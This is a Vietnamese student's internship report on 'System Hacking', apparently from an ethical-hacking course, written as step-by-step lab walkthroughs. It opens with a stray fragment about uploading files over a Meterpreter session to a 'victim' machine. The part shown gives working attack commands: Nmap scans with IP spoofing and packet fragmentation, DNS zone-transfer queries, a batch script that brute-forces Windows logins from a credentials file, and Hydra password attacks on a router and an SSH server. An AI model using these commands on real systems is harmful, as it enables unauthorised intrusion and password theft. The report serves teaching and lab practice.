Ở đây chỉ mở file hack.pdf , nhưng nó đã tự động mở thêm 1 số cái khác
Máy backtrack vẫn xâm nhập vào máy victim bình thường
Dùng lệnh : cd C:/ ( để di chuyển đến ổ C của máy victim )
Sau đó thử dùng lệnh : upload /root/Desktop/file.pdf C:/ ( ta sẽ send 1 file có tên
file.pdf đến máy victim )
Đề Tài : SysTem Hacking 88
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Câu lệnh vẫn chạy OK nhưng bên máy victim thì không thấy file.pdf mà backtrack
đã gửi qua
Trên máy backtrack ta dùng lệnh : ls
Nó đã liệt kê tất cả các thư mục trong ổ C luôn cả file.pdf mà khi nãy đã gửi mặc
dù trên máy victim thì không nhận được

de an system hacking

  • 1.
    BỘ CÔNG THƢƠNG TRƢỜNGCAO ĐẲNG KỸ THUẬT CAO THẮNG KHOA ĐIỆN TỬ - TIN HỌC BÁO CÁO THỰC TẬP TỐT NGHIỆP TẠI CÔNG TY………………... GVHD: ………………………… CBHD: ………………………… ĐT (CBHD):…………………… SVTH:………………………….. LỚP: …………………………… TP.HỒ CHÍ MINH, ngày …. tháng 05 năm 2014
  • 2.
    Nội dung đềtài Hiện nay, các thiết bị như máy tính PC, laptop, đều có kết nối mạng nội bộ hoặc kết nối Internet . Trên các thiết bị này, hầu hết cài đặt các phần mềm ứng dụng như IE, Microsoft Office, Acrobat Reader ,…. và chạy hệ điều hành như Windows XP, Windows 7… Tuy nhiên, các ứng dụng này đều có những lổ hổng mà các hacker có thể xâm nhập và khai thác. Quá trình khai thác diễn ra âm thầm mà hầu hết các nạn nhân không thể nào biết được cho dù thường xuyên update các chương trình diệt virus như nhiều người suy nghĩ. Để hiểu hơn về quá trình khai thác các lổ hổng trên máy tính, hệ thống máy tính và hệ điều hành chuyên đề: “System Hacking -XÂM NHẬP & KHAI THÁC LỔ HỔNG HỆ ĐIỀU HÀNH”. Nội dung chính gồm có: -Các lỗ hổng mà hacker thường khai thác -Bộ công cụ dùng để phát hiện các lổ hổng mạng -Demo trình diễn xâm nhập các lổ hổng -Đưa ra giải pháp khắc phục các lổ hổngnày
  • 3.
    Lời cảm ơn Xincảm ơn ban giám đốc cùng toàn thể các anh chị trong Trung Tâm Đào Tạo Quản Trị Mạng và An Ninh Mạng Quốc Tế ATHENA , sự tận tình giúp đỡ của các anh chị đã giúp em hoàn thành kì thực tập này. Xin chân thành cảm ơn Thầy Võ Đỗ Thắng , sự tận tâm cùng sự chỉ bảo của thầy đã giúp em hoàn thiện bản thân của mình hơn , hoàn thiện những kiến thức đã học cũng như học những kinh nghiệm quý báu , những tình cảm mà các anh chị dành cho em là nhựng kỷ niệm khó phai trong tâm trí Xin gửi những lời cảm ơn chân thành nhất tới tất cả những thầy cô đã dìu dắt em trong suốt khoảng thời gian ngồi trên ghế nhà trường. Xin cảm ơn tất cả những thầy cô giảng dạy tại trường Cao Đẳng Kỹ Thuật Cao Thắng , tất cả những kiến thức , kinh nghiệm mà các thầy cô dạy cho em chính là hành trang để em bước đi trên đường đời , để em có thể hoàn thành tốt công việc trong đợt thực tập. Sau cùng chúc Trung Tâm ATHENA ngày càng thành công và phát triển . Chúc các anh chị và quý thầy cô thật nhiều sức khỏe và may mắn TPHCM , ngày…….. tháng………..năm………
  • 4.
    Nhận Xét .. ................................................................................................................................................................... ..................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... .. ................................................................................................................................................................... TP.HCM, Ngày……….Tháng……..Năm 2013 Giáo viên hướng dẫn
  • 5.
    Mục Lục Table ofContents Chƣơng 1 : Scanning ..................................................................................................................................1 1.1 Nmap là gì ?.......................................................................................................................................1 1.2 Nessus Scanning ................................................................................................................................3 1.3 Hping Scanning.................................................................................................................................4 Chƣơng 2 : Enumeration............................................................................................................................4 2.1 Email Collector..................................................................................................................................5 2.2 DNS Enumeration.............................................................................................................................5 Chƣơng 3 : System Hacking.......................................................................................................................7 3.1 Password Attack................................................................................................................................7 3.1.1 Kerberos Attack.........................................................................................................................7 3.1.2 Sử Dụng Hydra...........................................................................................................................8 3.2 Crunch Dictionary ..........................................................................................................................10 3.2.1 Download và Install, Uninstall chƣơng trình Crunch ..........................................................12 3.2.2 Sử Dụng Crunch để tạo Password.........................................................................................12 3.3 Netcat backdoor ..............................................................................................................................13 3.3.1 Sử dụng Netcat .........................................................................................................................14 3.4 System Hacking...............................................................................................................................15 3.4.1 Chuẩn bị Metasploit.................................................................................................................15 3.4.2 Cấu hình Ettercap DNS Spoofing...........................................................................................16 3.4.3 Kiểm tra metasploit ................................................................................................................16 3.4.4 Sử Dụng Netcat làm backdoor và hxdef100 rootkit.............................................................20 3.4.5 Tạo ra backdoor và upload bằng metasploit........................................................................23 Chƣơng 4: Virus Worm Trojan...........................................................................................................25 4.1 By Pass Anti Virus ..........................................................................................................................25 4.2 Tạo Trojan bằng Metasploit ..........................................................................................................26 Chƣơng 5 : DoS DdoS...........................................................................................................................28 5.1 Ping of Dealth Attack.....................................................................................................................28 5.2 Syn Flood Attack............................................................................................................................28 5.3 Sử Dụng Hping3 thực hiện Syn Flood Attack ..............................................................................30
  • 6.
    5.4 PHP DoS..........................................................................................................................................31 5.5 Apache DoS Slowloris....................................................................................................................32 5.6 Sử Dụng Poison Ivy tạo Botnet......................................................................................................33 5.7 Dos và DdoS bằng công cụ Hyenae...............................................................................................34 Chƣơng 6 : Sniffer ................................................................................................................................35 6.1 Cain Abel ARP Poisoning...............................................................................................................36 6.2 Ettercap DNS Spoofing...................................................................................................................37 6.3 Ettercap Sniffer Password..............................................................................................................38 6.4 SSL Strip..........................................................................................................................................40 Chƣơng 7 : Session Hijacking.............................................................................................................42 7.1 Hunt Session Hijacking ..................................................................................................................42 7.2 Cookie Hijacking Yahoo Mail.......................................................................................................43 7.3 Cookie Hijacking Hotmail..............................................................................................................45 Chƣơng 8 : Wireless..............................................................................................................................47 8.1 Crack WEP Key..............................................................................................................................47 8.1.1 Bƣớc chuẩn bị...........................................................................................................................47 8.1.2 Ta dùng card usb để capture ..................................................................................................48 8.1.3 Dùng card broadcom để inject................................................................................................48 8.2 SỬ DỤNG AIRCRACK-NG CRACK WPA KEY.......................................................................49 8.3 WPA Enterprise..............................................................................................................................52 8.3.1 Cài đặt và cấu hình Elektron 802.1X RADIUS Server........................................................53 8.3.2 Cấu hình Wireless Access Point dùng WPA Enterprise.......................................................54 Chƣơng 9 : Web Application Attack..................................................................................................56 9.1 XSS Stored.......................................................................................................................................56 9.2 SQL Injection ..................................................................................................................................57 9.3 Blind SQL Injection........................................................................................................................58 9.4 Automatic Blind SQL Injection.....................................................................................................60 Chƣơng 10 : Buffer Overflow .................................................................................................................63 10.1 Single Buffer Overflow Lab .........................................................................................................63 10.1.1 Thực thi chƣơng trình ..........................................................................................................64 10.2 Kioptrix level 1 mod_ssl ...............................................................................................................64 10.3 Buffer Overflow Wireshark 1.4.4 ................................................................................................65 10.4 Vulnserver .....................................................................................................................................66
  • 7.
    Chƣơng 11 :Evade IDS Firewall.............................................................................................................75 11.1 Reverse ICMP Backdoor..............................................................................................................75 11.2 SSH Tunnel....................................................................................................................................76 11.3 Stunnel ...........................................................................................................................................78 Chƣơng 12 : Hƣớng dẫn tấn công máy victim bằng file pdf.................................................................80 12.1 Hƣớng dẫn tấn công......................................................................................................................80 12.2 Cách phòng chống.........................................................................................................................86
  • 8.
    Đề Tài :SysTem Hacking 1 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng1 : Scanning 1.1 Nmap là gì ? Nmap hay còn gọi là Network Mapper, nó là một công cụ dùng để quét hệ thống mạng được viết bởi Gordon Lyon. Nmap được sử dụng để "khám phá" các máy chủ và các dịch vụ đang chạy trên máy tính do đó tạo nên một bản đồ mạng. Để thực hiện mục tiêu đó thì Nmap gửi các gói dữ liệu đặc biệt đến host mục tiêu sau đó phân tích các gói tin được trả về. Nmap dùng cho các loại OS như Linux, Microsoft Windows, Solaris, HP-UX và BSD. Một số tùy chọn thường được dùng: Tên Scan Cấu trúc lệnh Xác định TCP ports Xác định được UDP ports Syn scan -sS Yes No Full scan (TCP connect scan ) -sT Yes No FIN scan -sF Yes No Xmas scan -sX Yes No Null scan -sN Yes No Ping scan -sP No No Version Detection -sV No No UDP scan -sU No Yes IP Protocol scan -sO No No ACK scan -sA Yes No
  • 9.
    Đề Tài :SysTem Hacking 2 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Window scan -sW Yes Yes Idlescan -sI Yes No FTP Bounce scan -b Yes No Các bƣớc thực hiện : o Bước 1: ta xem giúp đỡ của câu lệnh NMAP o Bước 2: thực hiện quá trình ping sweep cho đường mạng 192.168.1.0/24 để xác định các host đang có trong đường mạng bằng câu lệnh “nmap -sP -v 172.16.34.1/24” o Bước 3: Ta cần xác định xem ở IP 172.16.34.18 đang có nhưng port nào đang mở. Để làm việc này ta có thể sử dụng các dạng scan khác nhau. Ví dụ ở đây ta sử dụng kỹ thuật SYN scan với câu lệnh “nmap –sS 172.16.34.18” o Bước 4: xác định giá trị port trong quá trình scan. Mặc định chương trình sẽ scan tất cả các port. Ví dụ ta cần xác định trong đường mạng 172.16.34.1/24 thì đang có bao nhiêu máy đang mở port 445,139,80,3389 ta có thể sử dụng câu lệnh “nmap -sT -p 445,139,3389 172.16.34.1/24” o Bước 5: Sử dụng nmap scan đường mạng với IP Public bên ngoài với câu lệnh “nmap -sS -p 80 222.253.166.1/24 > /root/Desktop/scan_adsl.txt” . Như vậy kết quả scan sẽ được ghi thành file scan_adsl.txt o Bước 6: Sử dụng nmap để xác định các thông số của các ứng dụng được triển khai trên server. Ta sử dụng “nmap -p 1-65535 -T4 -A -v 192.168.0.4” o Bước 7: Trong nmap hỗ trợ sử dụng các scripts đển scan một lỗi ứng dụng nào đó. Đầu tiên ta có thể sử dụng câu lệnh “locate nmap” để xác định các file script đang được hỗ trợ trong nmap. Ví dụ ta có thể sử dụng kiểm tra lỗi ms08-067 của các máy trong đường mạng “nmap -sT --script smb-check-vulns.nse -p 139,445 172.16.34.1/24”  Ngoài ra ta có thể kiểm tra xem trong mạng có máy nào đang chuyển card mạng sang Promicious mode để sniffer traffic trên đường truyền “nmap -- script snifferdetect 172.16.34.1/24” o Bước 8: Trong quá trình scan ta nên thay đổi các giá trị IP source, lưu lượng gói tin gửi trong thời gian 1 giây, thực hiện phân mảnh gói tin, giả thông số ttl. Ví dụ ta thực hiện câu lệnh “nmap -sS -p 3389,445,139,23,22,80 --max-rate 50 -S 10.0.0.1 192.168.1.78 -ttl 128 -f -e eth0 -Pn” -sS : SYN Scan
  • 10.
    Đề Tài :SysTem Hacking 3 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng -p : port --max-rate: luu luong maximum per second -f: fragment -S: Spoofing IP address -e: xac dinh interface -ttl: xac dinh gia tri ttl ( mac dinh window la 128 ) 1.2 Nessus Scanning Nessus là một trong những công cụ hỗ trợ admin scan các vulnerable của hệđiều hành, các ứng dụng … khá tốt. Ngoài ra ta có thể sử dụng các công cụ khác như OpenVAS, GFI Languard Các bƣớc thực hiện : o Bước 1: Đầu tiên ta sẽ download và đăng ký Activation Code tại trang webhttp://www.tenable.com/products/nessus .Các thao tác cấu hình của Nessus sẽ được thực hiện trên nền giao diện web o Bước 2: Sau khi cài đặt xong, ta sử dụng trình duyệt web kết nối vàohttps://localhost:8834 để điều khiển Nessus o Bước 3: Tiếp tục định nghĩa ra username và password o Bước 4: Nhập vào Activation Code o Bước 5: Sau đó chương trinh sẽ download về các Plugin để sử dụng scan o Bước 6: Cấu hình Nessus scan vulnerable của hệ điều hành và ứng dụng. Các bước chính ta cần cấu hình:  Tạo Policy và chọn phương thức scan.  Chọn đối tượng scan  Kiểm tra kết quả và xuất report  Đầu tiên ta login vào Nessus bằng cách sử dụng đường link https://localhost:8834  Click vào Policies, click vào Add, định nghĩa ra một profile scan. Ở đây ta định nghĩa ra profile có tên là Athena Scan  Nhập vào username và password xác thực để scan (ta có thể scan được nhiều lỗi hơn) hoặc ta không nhập username và password.  Chọn Windows: Microsoft Bullentins để scan các lỗi của hệ điều hành Window. Thông tin database ta để mặc định. o Bước 7: Tiếp tục ta Click vào SCANS , xác định Policy là Athena Scan, Scan Target nhập vào IP 192.168.1.236 để cấu hình các đối tượng để scan. o Bước 8: Cuối cùng ta xem kết quả scan và xuất report
  • 11.
    Đề Tài :SysTem Hacking 4 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 1.3 Hping Scanning Hping để xác định các thông số hệ điều hành, port, dịch vụ tương ứng với. Ngoài ra Hping cho phép ta tạo ra những gói tin theo ý mình và dễ dàng điều chỉnh lưu lượng Các bƣớc thực hiện : o Bước 1: Hping là một trong những công cụ scan tốt. Nó cho phép ta tạo ra các gói tin theo ý muốn, điều chỉnh số lượng gói tin gửi … Mặc định hping2, hping3 được cài đặt mặc định trong Back Track 5. Ta có thể xem giúp đỡ bằng câu lệnh “hping3 --help” o Bước 2: Sử dụng hping để gửi standard ICMP packet đến target. Bằng câu lệnh “hping3 –icmp –c 4 athena.edu.vn” o Bước 3: Tiếp theo ta sử dụng lại câu lệnh ở trên và thêm vào 2 biến – d kích thước data trong gói tin – V hiển thị thông tin đầy đủ o Bước 4: Sử dụng biến –j để xem kết quả output dạng hexa decimal o Bước 5: Sử dụng hping3 gửi SYN packet đến một host. Ta sẽ thêm biến –S và –p để xác định giá trị port 25. Trên màn hình ta sẽ nhận được 4 packet với “SA” flag. Với giá trị SYN/ACK trả về nghĩa là port này Open. Câu lệnh ta phải nhập vào là “hping3 –S –p 25 –c 4 athena.edu.vn ” o Bước 6: Attacker gửi ACK Probe với giá trị sequence number random. Nếu không có packet response nghĩa là port được filter ( có stateful firewall). Nếu RST packet reponse nghĩa là port không được filter (không có firewall) Ta có thể xác định thêm giá trị source port cho câu lệnh Ack Scan ở trên bằng biến –s. Ví dụ ta sẽ nhập vào câu lệnh “hping3 –A –p 25 -s 5555 –c 4 athena.edu.vn ” o Bước 7: Ta có thể spoofing IP bằng biến –a. Ví dụ ta nhập vào câu lệnh như sau“hping3 -S -p 80 -s 5555 -a 192.168.1.121 -c 10 192.168.1.254”  Nếu như ta sử dụng wireshark capture traffic thì sẽ thấy traffic giữa 2 IP 192.168.1.121 và IP 192.168.1.254 o Bước 8: Để scan cùng 1 lúc nhiều port thì ta sẽ sử dụng option --scan [port cần scan]. Ví dụ “hping3 –S –scan 80,443,25,85-90 –V athena.edu.vn” Chƣơng 2 : Enumeration
  • 12.
    Đề Tài :SysTem Hacking 5 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 2.1 Email Collector Sử dụng các công cụ search như Google, Yahoo, Bing để tìm thống kê danh sách các email của các nhân viên trong 1 tổ chức. Các email tìm được sẽ là các email của các nhân viên có ghi lại email của mình trên các website. Để quá trình thực hiện nhanh hơn ta sử dụng tính năng email collector có trong metasploit Các bƣớc thực hiện : o Bước 1: Ta sẽ sử dụng module email_collector trong chương trình metasploit để thực hiện việc này. Sau đó search email_collector o Bước 2: Ta sử dụng module auxiliary/gather/search_email_collector bằng câu lệnh “use auxiliary/gather/search_email_collector” o Bước 3: Tiếp tục ta nhập vào câu lệnh “show options” để xác định các thông sốta phải nhập vào. Dựa trên kết quả màn hình bên dưới thì ta cần phải nhập vào thông số domain name o Bước 4: Tiếp tục ta nhập vào thông số domain name ta cần tìm kiếm. Ví dụnhập vào câu lệnh “set DOMAIN athenavn.com” và nhập vào lệnh “run” để chương trình hoạt động. Ta sẽ thu thập được 1 số thông số các email o Bước 5: Ta test thử với domain khác. Ví dụ ở đây ta dùng thửdomain“vnn.vn” 2.2 DNS Enumeration DNS enumeration là tiến trình xác định các DNS Server và các record DNS của một tổchức nào đó. Trong một công ty internal và external server đều có thểcung cấp các thông số username, computer name, IP . Để thực hiện DNS enumeration có rất nhiều tool để thực hiện ví dụ như NSLOOKUP, DIG, HOST, DNSstuff… DNS Zone Transfer thường được sử dụng để replicate DNS data giữa các DNS Server hoặc sử dụng để backup. Một user của server sẽ thực hiện yêu cầu zone transfer từ một name server. Nếu một name server cho phép thực hiện zone Tài liệu Học Hacker Mũ Trắng –AEH Tại ATHENA . GV Lê Đình Nhân transfer thì tất cả các DNS names, IP address của name server này sẽ được chuyển thành dạng ASCII text có thể đọc được. Mục đích của DNS Enumeration là thu thập các thông tin DNS. Phần bên dưới ta sử dụng các công cụ như DNSenum, Dig, nslookup để tìm kiếm các thông tin DNS. DNSenum.pl là một công cụ có sẵn trong Back Track 5, ta có thể đi đến đường dẫn “/pentest/enumeration/dns/dnsenum” và kiểm tra các thông sốgiúp đỡ của câu lệnh bằng câu lệnh “./dnsenum.pl” Các bƣớc thực hiện :
  • 13.
    Đề Tài :SysTem Hacking 6 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Ta sẽ sử dụng câu lệnh “ ./dnsenum.pl --enum -f dns.txt --update a –r athena.com.vn “ --enum : sẽ thực hiện các tính năng “--threads 5 -s 20 –w” --threads : xác định số luồng các query -s : xác định số maximum subdomains sẽ tìm kiếm từ google -w: sử dụng whois queries ở lớp mạng C -f : xác định file dictionary, chủ yếu sử dụng để query dns --update –a : quá trình update sử dụng tất cả các kết quả -r : nghĩa là recursive, brute force tất cả subdomain tìm được Dig là công cụ để thực hiện truy vấn thông tin DNS Server host addresses, mail exchanges, nameservers, và các thông tin khác. Công cụ này được cài đặt sẵn trong môi trường Linux , Mac OS.Đầu tiên có thể thử câu lệnh dig google.com, nó sẽ cho các Record A đại diện cho các server google trong khu vực, các record NS đại diện cho các DNS Server. Tiếp tục ta thử truy vấn xem DNS Server ns1.google.com thì sẽ phân giải tên miền mail.google.com như thế nào bằng câu lệnh “dig @ns1.google.com mail.google.com” Tìm kiếm các Name Server phân giải tên miền yahoo.com và các Mail Server bằng câu lệnh dig NS MX yahoo.com Tìm kiếm thông tin Zone Transfer của domain athena.com.vn bằng câu lệnh dig @smtp.athena.com.vn athena.com.vn axfr
  • 14.
    Đề Tài :SysTem Hacking 7 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Chƣơng 3 : System Hacking 3.1 Password Attack Để kết nối đến một máy tính thông qua mạng thì trong hệ điều hành Window ta có thể sử dụng câu lệnh “net use” C:> net use 192.168.1.100 password /u:administrator Sau khi quá trình kết nối thành công thì ta có thể sử dụng tài nguyên tại máy 192.168.1.100 vì ta đã có một session với quyền administrator. Tiếp theo ta có thể sử dụng Psexe để gọi cmd.exe của máy 192.168.1.100 Tuy nhiên ở đây ta có thể sử dụng đoạn script đơn giản bên dưới để kết nối đến máy 192.168.1.100 với thông số username và password đã được lưu trữtrong file credentials.txt. Ví dụ ta tạo ra một file có tên là for.bat có nội dung giống như bên dưới. @echo off FOR /F "tokens=1,2*" %%i in (credentials.txt)^ do net use 192.168.1.100IPC$ %%j /u:%%i^ 2>>nul^ && echo %time% %date% >> ketqua.txt^ && echo 192.168.1.100 user:%%i password:%%j >> ketqua.txt Cuối cùng ta thử thực thi đoạn scripts với đối tượng là PC có IP 192.168.1.100 3.1.1Kerberos Attack Ta có mô hình bài Lab như sau:
  • 15.
    Đề Tài :SysTem Hacking 8 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Các bƣớc chuẩn bị : o Máy VICTIM là Window XP, Server là Window 2003, gán IP theo sơ đồ o Máy attacker sử dụng Window 7 ( gán IP theo sơ đồ ) và đang cài đặt 2 chương trình  KerbSniff và KerbCrack  Cain abel Các bƣớc thực hiện: o Máy attacker kích hoạt chương trình Kerbsniff để sniffer traffic o Nhập vào câu lệnh kerbsniff.exe capture.txt nghĩa là sniff và ghi kết quả ra thành file capture.txt o Attacker sử dụng chương trình Cain Abel để scan đường mạng xung quanhthực hiện ARP Poisonning giữa 2 IP 192.168.1.100 và 192.168.1.200 o Máy XP thực hiện quá trình join vào domain và nhập thông tin xác thực o Lúc này ta thấy ở cửa sổ của chương trình kerbsniff đã xuất hiện các dấu * . Mỗi dấu * tương ứng với các gói tin xác thực kerberos o Tại máy Window XP thực hiện quá trình login vào o Tại máy attacker sử dụng chương trình kerbcrack để crack gói tin kerberos xác thực bằng câu lệnh “kerbcrack.exe capture.txt –d password.txt ” 3.1.2 Sử Dụng Hydra Hydra và Medusa là hai chương trình thực hiện online password attack thông dụng. Hai chương trình này đã được install sẵn trong Back Track 5. Ta có thể cài đặt chương trình Hydra phiên bản 6.4 từ source. Đầu tiên ta cài đặtcác thư viện cần thiết cho chương trình. root@nhanld-laptop:/# sudoapt-getinstall build-essential linux-headers- $(uname -r) libgtk2.0-dev libssl-dev cmake Tuy nhiên chương trình hydra không tương thích với libssh của Ubuntu. Vì vậy ta sẽ install libssh manually root@nhanld-laptop:/# cd /home/nhanld/Download root@nhanld-laptop:/home/nhanld/Downloads# wget -c http://www.libssh.org/files/0.4/libssh-0.4.6.tar.gz root@nhanld-laptop:/home/nhanld/Downloads# tar -xvzf libssh-
  • 16.
    Đề Tài :SysTem Hacking 9 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Tài Liệu Học Hacker Mũ Trắng-AEH tại ATHENA.GV: Lê Đình Nhân 0.4.6.tar.gz root@nhanld-laptop:/home/nhanld/Downloads# cd libssh-0.4.6 root@nhanld-laptop:/home/nhanld/Downloads# mkdir build root@nhanld-laptop:/home/nhanld/Downloads# cd build root@nhanld-laptop:/home/nhanld/Downloads# cmake - DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug .. root@nhanld-laptop:/home/nhanld/Downloads# make root@nhanld-laptop:/home/nhanld/Downloads# sudo make install Download phiên bản Hydra 6.4 hoặc phiên bản 5.9 root@nhanld-laptop:/home/nhanld/Downloads # tar xvf hydra-6.4-src.tar.gz root@nhanld-laptop:/home/nhanld/Downloads # cd hydra-6.4-src root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # mkdir /opt/hydra root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # ./configure --prefix=/opt/hydra root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # make root@nhanld-laptop:/home/nhanld/Downloads/hydra-6.4-src # make install Mô hình bài lab như sau: Máy attacker sử dụng Backtrack 5 hoặc máy linux đã được cài đặt chương trình Hydra
  • 17.
    Đề Tài :SysTem Hacking 10 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng Ta gọi file thực thi hydra để hoạt động ở giao diện dòng lệnh và file xhydra ở giao diện đồ họa :root@nhanld-laptop:/opt/hydra/bin# cd /opt/hydra/bin/ && ls –l total 308 -rwxr-xr-x 1 root root 242600 2011-06-18 08:50 hydra -rwxr-xr-x 1 root root 10432 2011-06-18 08:50 pw-inspector -rwxr-xr-x 1 root root 56576 2011-06-18 08:50 xhydra Sử dụng Nmap để scan victim :root@nhanld-laptop:/opt/hydra/bin#nmap -sS -p 22,23,80,443 192.168.1.254 Sử dụng Hydra attack victim Wireless Route Access Point Linksys :root@nhanld- laptop:/opt/hydra/bin # ./hydra 192.168.1.254 -L /opt/hydra/wordlist/userlist.txt -P /opt/hydra/wordlist/password.txt -t 1 -e ns -f -V http-get / -L: đường dẫn đến file chứa username -P: đường dẫn đến file chứa password -t : xác định số kết nối đồng thời. Ví dụ -t 1 là chỉ thực hiện 1 kết nối -e ns: là thử kết nối với null password ứng với user login -f : stop khi password đầu tiên được tìm thấy -V: hiển thị quá trình làm việc http-get / : phương thức login và đường dẫn Sử dụng Hydra attack OpenSSH-Server :root@nhanld-laptop:/ # ./hydra -L /opt/hydra/wordlist/userlist.txt -P /opt/hydra/wordlist/password.txt -o login.pwd -w 30 -f - vV 192.168.1.6 ssh -w: thời gian đợi tối đa cho gói tin response Sử dụng hydra ở giao diện đồ họa: root@nhanld-laptop:/opt/hydra/bin# ./xhydra & 3.2 Crunch Dictionary Crunch là chương trình tạo từ điển để sử dụng tấn công Password. Kích thước của từ điển được tạo ra bởi chương trình crunch thì không có được ước lượng được trước.Tuy nhiên điểm mạnh của chương trình cho phép sử dụng các mẫu password để tạo giảm kích thước wordlist. Ta có nén lại file output với định dạng khác nhau và kể từversion 2.6 thì crunch còn cung cấp cho ta biết dung lượng của wordlist sau khi được tạo ra, crunch còn
  • 18.
    Đề Tài :SysTem Hacking 11 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng cho ta khoảng thời gian 3 giây để quyết định xem có tạo ra file wordlist hay không nếu như kích thước file quá lớn so với dự định của mình. Các tính năng của chƣơng trình crunch. -b: dung lượng maximum của 1 file. Ta có thể tạo ra các file theo định dạng là KB/MB/GB ( phải sử dụng chung với biến -o START ) -c: số lượng dòng để ghi output file, phải sử dụng chung với -o START -f: đường dẫn đến charset.lst để sử dụng, đường dẫn mặc định là /pentest/password/crunch/charset.lst ( Back Track 5 ) -i: chuyển đổi thứ tự output từ trái sang phải thành từ phải sang trái. Ví dụthay vì password là aaa, aab, aac, aad thì sau khi ta đảo sẽ thành aaa, baa, caa, daa -l: Khi ta xác định một mẫu password với option -t, thì options -l cho phép bạn định dạng các ký tự theo nghĩa đen thay vì đặt trong dấu ngoặc ( @,%,^ ) -o: cho phép ta xác định tên và đường dẫn của output filename.txt -p: print in sự hoán vị của từ hay ký tự đã được cung cấp trên command line -q: print in sự hoán vị của từ hay ký tự được tìm thấy trong một filename.txt -s: Cho phép ta xác định chữ bắt đầu của wordlist -t: cho phép ta xác định mẫu password được dùng ( rule based password attack ). Tất nhiên đây là một trong những tính năng rất hay của chương trình crunch. Các ký tự đặc biệt trong chương trình @ --- đại diện cho các ký tự không viết hoa , --- đại điện cho các ký tự viết hoa % đại diện cho các ký tự số ^ --- đại diện cho các ký tự đặc biệt ( bao gồm luôn cả ký tự khoảng trắng ) -u: ước lượng kích thước wordlist, số dòng có trong wordlist được tạo ra. -z: cung cấp tính năng nén file output, có thể theo các dạng là gzip, bzip, lzma
  • 19.
    Đề Tài :SysTem Hacking 12 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng 3.2.1 Download và Install, Uninstall chƣơng trình Crunch Download file tại đường link http://sourceforge.net/projects/crunch-wordlist/ Install file từ source gói tin #tar xvf crunch-3.0.1.tgz && cd crunch-3.0/ #make #make install Để uninstall chương trình crunch #cd crunch-3.0 #make uninstall Deleting binary and manpages... rm -f /pentest/passwords//crunch/crunch rm -f /usr/local/share/man/man1/crunch.1 Chương trình thông báo ta xóa hai file hiển thị ở trên #rm -f /pentest/passwords//crunch/crunch #rm -f /usr/local/share/man/man1/crunch.1 3.2.2 Sử Dụng Crunch để tạo Password Cú pháp căn bản của chương trình là: ./crunch [min length] [max length] [character set] [options] *min length+ : độ dài tối thiểu của password *max length+ : độ dài tối đa của password [character set] : các yếu tố tạo thành password *options+ : định nghĩa các option Ví dụ 1: root@bt # /pentest/passwords/crunch/crunch 8 8 abc + + !@# -t TEST^%,@ -o test.txt o Tạo ra password có chiều dài tối thiểu là 8 ký tự và chiều dài tối đa là 8 ký tự
  • 20.
    Đề Tài :SysTem Hacking 13 S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng o Các thành phần Password được tạo ra ngẫu nhiên là ký tự abc, cộng thêm các ký tự đặc biệt lần lượt là ! @ # o Biến -t xác định rằng password mình tạo ra phải bắt đầu bằng chữ TEST, ký tự kế tiếp phải là ký tự đặc biệt ( thông qua dấu ^ ) , ký tự kế tiếp là số ( thông qua dấu % ), ký tự kế tiếp là chữ ký tự viết hoa ( thông qua dấu , ) và ký tự cuối cùng là ký tự viết thường ( thông qua dấu @ ) o -o cấu hình output ra thành file password có tên là test.txt Ví dụ 2: Sử dụng tính năng hoán vị ta có 2 tùy chọn là -p và -q. Tính năng -p nghĩa là hoán vị các ký tự được định nghĩa trên dòng lệnh. Tính năng -q hoán vịcác ký tự được định nghĩa thông qua một wordlist. Trong tính năng này mặc dù không có khái niệm độ dài ký tự nhưng ta cũng nên định nghĩa root@bt # ./crunch 1 1 -p abcd : Tạo ra password được hoán vị từ ký tự abcd root@bt# ./crunch 1 1 -p bird dog cat :Tạo ra password được ghép lại từ 3 từ bird, cat, dog. Ngoài ra ta thực hiện quá trình hoán vị qua lại chỉ giữa 3 chữ trên. root@bt # echo "bird" > test.txt && echo "cat" >> test.txt && echo "dog" >> test.txt root@bt# ./crunch 1 1 -q test.txt :Tạo ra file password là hoán vị của tất cả các từ có trong file. 3.3 Netcat backdoor Trong bài lab này ta sẽ sử dụng công cụ netcat. Đầu tiên ta sẽ tìm hiểu một sốtính năng cơ bản của chương trình netcat. Phần còn lại ta sẽ sử dụng netcat làm backdoor. Download source netcat. Chương trình netcat được thực thi ở giao diện "command line" Mô hình bài lab ta cần 2 đối tượng là máy Window XP là Attacker và một máy Window Server 2003 là Victim
  • 21.
